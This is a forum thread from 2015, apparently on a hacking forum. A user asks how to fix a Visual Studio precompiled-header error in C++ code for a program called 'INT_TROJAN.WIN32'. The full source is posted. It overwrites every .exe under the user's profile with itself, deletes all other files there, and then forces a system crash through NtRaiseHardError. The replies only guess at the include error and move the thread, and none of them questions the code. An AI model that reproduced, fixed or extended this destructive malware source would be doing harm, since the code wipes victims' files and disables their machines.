Author Topic: I need help  (Read 676 times)

0 Members and 1 Guest are viewing this topic.

Offline Jeirox

  • NULL
  • Posts: 2
  • Cookies: 0
    • View Profile
I need help
« on: January 14, 2015, 12:54:58 am »
I keep getting this error:

Error   2   error C2857: '#include' statement specified with the /YcYcstdafx.h command-line option was not found in the source file   c:\users\joking\documents\visual studio 2013\projects\int_trojan.win32\int_trojan.win32\stdafx.cpp   9   1   INT_TROJAN.WIN32


Here is the code (C++)
Code: [Select]
#include <stdio.h>
#include <Windows.h>
#include <ntstatus.h>
#include "stdafx.h"


#pragma comment(lib,"ntdll.lib")


typedef enum _HARDERROR_RESPONSE_OPTION
{
   OptionAbortRetryIgnore,
   OptionOk,
   OptionOkCancel,
   OptionRetryCancel,
   OptionYesNo,
   OptionYesNoCancel,
   OptionShutdownSystem,
   OptionOkNoWait,
   OptionCancelTryContinue
}HARDERROR_RESPONSE_OPTION;


typedef enum _HARDERROR_RESPONSE
{
   ResponseReturnToCaller,
   ResponseNotHandled,
   ResponseAbort,
   ResponseCancel,
   ResponseIgnore,
   ResponseNo,
   ResponseOk,
   ResponseRetry,
   ResponseYes,
   ResponseTryAgain,
   ResponseContinue
}HARDERROR_RESPONSE;


extern "C" NTSTATUS NTAPI NtRaiseHardError(
   NTSTATUS ErrorStatus,
   ULONG NumberOfParameters,
   ULONG UnicodeStringParameterMask,
   PULONG_PTR Parameters,
   ULONG ValidResponseOptions,
   PULONG Response
   );


extern "C" NTSTATUS NTAPI RtlAdjustPrivilege(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN OldValue);


void WINAPI InfectFiles(LPSTR Directory)
{
   HANDLE hFind;
   char SearchName[1024], FullPath[1024];


   WIN32_FIND_DATA FindData;


   memset(SearchName, 0, sizeof(SearchName));
   sprintf(SearchName, "%s\\*", Directory);


   hFind = FindFirstFile(SearchName, &FindData);


   if (hFind != INVALID_HANDLE_VALUE)
   {
      while (FindNextFile(hFind, &FindData))
      {
         if (FindData.cFileName[0] == '.')
         {
            continue;
         }
         memset(FullPath, 0, sizeof(FullPath));
         sprintf(FullPath, "%s\\%s", Directory, FindData.cFileName); // Get the full path


         if (FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
         {
            InfectFiles(FullPath); //subdir
         }
         else
         {
            if (strstr(FindData.cFileName, ".exe"))
            {
               CopyFile(_pgmptr, FullPath, FALSE); // overwrite file
            }


            else
            {
               DeleteFile(FullPath); // Otherwise, delete the file
            }
         }
      }


      FindClose(hFind);
   }
}
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow)
{
   ULONG Response;
   BOOLEAN bl;


   char dir[120];


   CreateMutex(NULL, TRUE, "VC++");


   if (GetLastError() == ERROR_ALREADY_EXISTS)
   {
      ExitProcess(0);
   }
   GetEnvironmentVariable("userprofile", dir, sizeof(dir)); // Get the user directory
   InfectFiles(dir); // Infect files
   MessageBox(NULL, "Trojan", "VC++", MB_ICONSTOP);
   RtlAdjustPrivilege(19, TRUE, FALSE, &bl); // Enable SeShutdownPrivilege
   NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, NULL, OptionShutdownSystem, &Response); // Shutdown
   return 0;
}

[size=78%]Any help?[/size]

Offline Syntax990

  • Peasant
  • *
  • Posts: 129
  • Cookies: 77
  • Bruce Willis
    • View Profile
    • Evilzone "Hack"
Re: I need help
« Reply #1 on: January 14, 2015, 12:59:50 am »
Now I cant read or write C++ at all. I'll make a huge guess and tell you to change the
#include "stdafx.h" to #include <stdafx.h>.

Offline d4rkcat

  • Knight
  • **
  • Posts: 287
  • Cookies: 115
  • He who controls the past controls the future. He who controls the present controls the past.
    • View Profile
    • Scripts
Re: I need help
« Reply #2 on: January 14, 2015, 01:05:59 am »
noob question?

Please put all noob programming questions in the new noob programming board:

http://evilzone.org/programming-newbies/
Jabber (OTR required): thed4rkcat@einfachjabber.de    Email (PGP required): thed4rkcat@yandex.com    PGP Key: here and here     Blog

<sofldan> not asking for anyone to hold my hand uber space shuttle door gunner guy.


Offline HTH

  • Official EZ Slut
  • Administrator
  • Knight
  • *
  • Posts: 395
  • Cookies: 158
  • EZ Titan
    • View Profile
Re: I need help
« Reply #3 on: January 14, 2015, 08:46:39 am »
Geoff's solution is more than likely correct, OP please report back with more information.

@Geoff, come on man that's just grapsing at straws, noobs know they are noobs.

Moved.
<ande> HTH is love, HTH is life
<TurboBorland> hth is the only person on this server I can say would successfully spitefuck peoples women